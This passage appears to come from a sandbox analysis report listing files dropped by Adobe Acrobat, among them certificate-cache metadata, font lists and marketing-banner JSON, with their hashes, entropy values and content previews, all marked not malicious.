Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7209817973800585
Encrypted:	false
SSDEEP:	3:kkFklu3DUoGb3/tfllXlE/HT8kh+l7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK33sbPeT8o+hl/TNMa8RdWBwRd
MD5:	0A5ECB1E1647A73A88664FDFFECFBDC2
SHA1:	00F4C8486755B432D907EB70B1AD46F19A07150F
SHA-256:	0531B32FF9079507F8B7AE1531BBBAA42FE946330AC9C515DF3CBB3E380983B9
SHA-512:	F2402AFEC924FC913D58CCBE3F92C8A4CAF74A65A5FF5EC8D31112B32BFD4B6D1096C5176A1C13D167A1AD30272DFCF0CE4BA84DA4156229C01870261BDDF34A
Malicious:	false
Preview:	p...... .........R&1.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kK5tL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:RtiDImsLNkPlE99SNxAhUe/3
MD5:	814E72E10D91F909D720668E544F982F
SHA1:	BC48D1555D6171CAA428707D5C967426B9764B63
SHA-256:	51892A36F76311B391DDA2C98A02025AD781E6CC5D334B66C169632A8E472066
SHA-512:	CF7FE782786FDCD926AB6C8CEE741A267F307DDCDD5800A582C3B93EE2211F8B2A4634ABB5837181CC81560351820A5BEC86DC14EE92295A2E6D642EEBCD8A31
Malicious:	false
Preview:	p...... ..........^U.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.768

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.768

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.343604925698754
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJM3g98kUwPeUkwRe9:YvXKXk7UYpW7EGMbLUkee9
MD5:	D3C0EDDA7AFBA3E510D146734102D95A
SHA1:	D4A807C0FB625742106B37E1A4EF47C4CEF1BD5E
SHA-256:	93C85E20723509685F907F4453F7F38F29759EBBDEDFEB118555BBB90A439140
SHA-512:	15A26929759D8110E0B66FBB53AE84D4B5B2E04405B830C8D242B308D53000FE1F16C5673036B05CFFA10EA00237F4AE725086679181BF30BE000645BBE9927C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278955240897362
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfBoTfXpnrPeUkwRe9:YvXKXk7UYpW7EGWTfXcUkee9
MD5:	667715D50BC51FD08741345C5809B457
SHA1:	7B8943B93F3E2B4C6C9F8DA90543EC341F9CC27C
SHA-256:	AD8252A0032EB293BA6FC0497D7C7C810BABA63E92A5A9AE8375A6EC061DB590
SHA-512:	186E65416F1BF1D7776CD2D0AE800CCCDED9654CEC56A98B6B1088CB618C1119C6A5CE961B5F352D08346D625960F2C54D2BCF8789BDBAA7A460F929B61E50BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.258714568554359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfBD2G6UpnrPeUkwRe9:YvXKXk7UYpW7EGR22cUkee9
MD5:	88F6812FDA6C4B5A5D8BD095D09CEDCE
SHA1:	CA44F4DA1AC1E9AC6BC822F42609E98E75A69AE8
SHA-256:	6F5F8698DADAA3580B2B94AF3F7F2157037555BA3695E9BAFCF7454096EFF093
SHA-512:	FC09FB27C7B97DD419FCE898E78564B2243856FE3A7E62AC8F6FF979FA2E9D6595970C9C7CA49D766F33D7857E710782E443256BBDA4C06270A256E0B4596361
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.321804524032746
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfPmwrPeUkwRe9:YvXKXk7UYpW7EGH56Ukee9
MD5:	02B9695202E2D8BB251F2CC5F5F45368
SHA1:	9178D1BAAA606CDCE7C25AAE64259C15C5369EFC
SHA-256:	7F437777E340162D3189807777511477A9E5D7104BC1147EBB4FD340CC1B0EF7
SHA-512:	661DEAEBEEBD018351D1AD7154D7331E5D17499BE4A9DF90A181E4689F4DE0338EBBC4E3C1DB4231778423003BE99B4188B9C1B722DADD89F3CCB337B939773C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69080891357273
Encrypted:	false
SSDEEP:	24:Yv6XOiBpLgE9cQx8LennAvzBvkn0RCmK8czOCCSG5:Yv2Bhgy6SAFv5Ah8cv/G5
MD5:	78D7372ED6CB0F76D02552255F0FD9AD
SHA1:	2F24ED0430F6A565B50D542BF2F546195DC4FC5F
SHA-256:	2E1F2A52D0C054912E9E602D29E4CD9C979E43B7DBDC0EB4936AE5B57E053ABB
SHA-512:	7A6C387F5A0C69AA38784E22D4E99823D5FC958130BCE2BC9FF9951843AB0743DEDF8A4ED73C9BC7490AE8CE82B702F93B45584830B586EA6F054D020F937635
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267452682569657
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJf8dPeUkwRe9:YvXKXk7UYpW7EGU8Ukee9
MD5:	C63D0C57E30347DF98ED9B44AFF1B030
SHA1:	4B4858FC709C04F458AF4562B3B46EF18D8148C0
SHA-256:	F4C349F53B57C8AEBECB3A31CCE235ACDC1449A3194AD12ACD75D806A717D735
SHA-512:	B14AC7BC979B628740A5EAE7B2013CE1C7814B1324231C05285763D2453C983621E82592372471AD43E8985FBC818B376D09AFA8F2250025598B371642596307
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.268485845506516
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfQ1rPeUkwRe9:YvXKXk7UYpW7EGY16Ukee9
MD5:	60CB6ACF347EE9BE12B807C455297C75
SHA1:	E5D902E9D38E6831899BB7763CE616AD04A3B5A6
SHA-256:	95CF5A3DB815B1F753777214444AF10C2A7480AA61005A536006BA39E352C6E7
SHA-512:	AFF69CA45D9F311BCB182509900BBA7EDFAA873BA73DE14DDDD31FF1DA1D84E274239AF85DB4002F4E0CEF205CC6FD8B09283F8C2ECA0C97FB2FE4158A845923
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287919057371016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfFldPeUkwRe9:YvXKXk7UYpW7EGz8Ukee9
MD5:	3F3C89C10D62E5D2DC2D399FDCB37546
SHA1:	491BD6324EC699D822B87C198E27BCA0989AF813
SHA-256:	238B5A3F78B7F5206B9937824417C8A4FEDAD633831A945794327F577BC72DF7
SHA-512:	2543948E21BD8F9A21C0C3A213A91969FF38E42AEEB475B2D1B0DC0AF05944475D7D052DC06453511D4966FE3EC0FE5CA19157DDA12EE652D8AF726C191ED7A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.293974883260063
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfzdPeUkwRe9:YvXKXk7UYpW7EGb8Ukee9
MD5:	FABD16C4313978EB9A54CD9CBB3FE27C
SHA1:	68A3ABE4668119A000BB9DA1C97A90FD5712BAF9
SHA-256:	704BC0B4D9532ACF89F9A319BC8B9DC02A53CD474EAE9658618E8D6360DE9B67
SHA-512:	DA5DE6898A7057FF7B99DE964C21AFFAE60FA8C378C1168338C244CFB3171650432F01CE8D0AB30CCA6CED784EF2DCA195D5922224990A067A4E2F0AA6F6B576
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27409152421385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfYdPeUkwRe9:YvXKXk7UYpW7EGg8Ukee9
MD5:	EA6EBBE199F80448E8C2B3B20403B663
SHA1:	E8EEA7FB6CBA31F14E638303AD787769F40C5F3F
SHA-256:	B18F2A01577C19E65F2C1FE3D2856F855219CFE9B9DB7B90CE6625E96C7281A9
SHA-512:	123D84C4CEEF7C477D111F65F0CDC17DE22776792D9F6D55373B937A49F44A72A7F419B67E66FC25AAFD03DD30312BD04A9779689B0BC5F8FDDADDC4286B63CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2602671155201035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJf+dPeUkwRe9:YvXKXk7UYpW7EG28Ukee9
MD5:	45495011E36EC52A2A37CC79BC4B758D
SHA1:	A2B75551597E5A8D4858CBD66CE50D96E7B98C46
SHA-256:	9FCB6C0B21FBB0D337F65CD141E487D8397CF333DE5B26C176539AD8207494FA
SHA-512:	A4891BB15E8A88F16EE6E336B832C575DE8D88C72BAD022847881E6E343D94FF45C7377AFED666790F4BC8610FD23A4B6E2330030ACA12D23CF2D3E3DE0CC337
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.257816687013392
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfbPtdPeUkwRe9:YvXKXk7UYpW7EGDV8Ukee9
MD5:	76859C9FD5AD9054B51D993D84B906B8
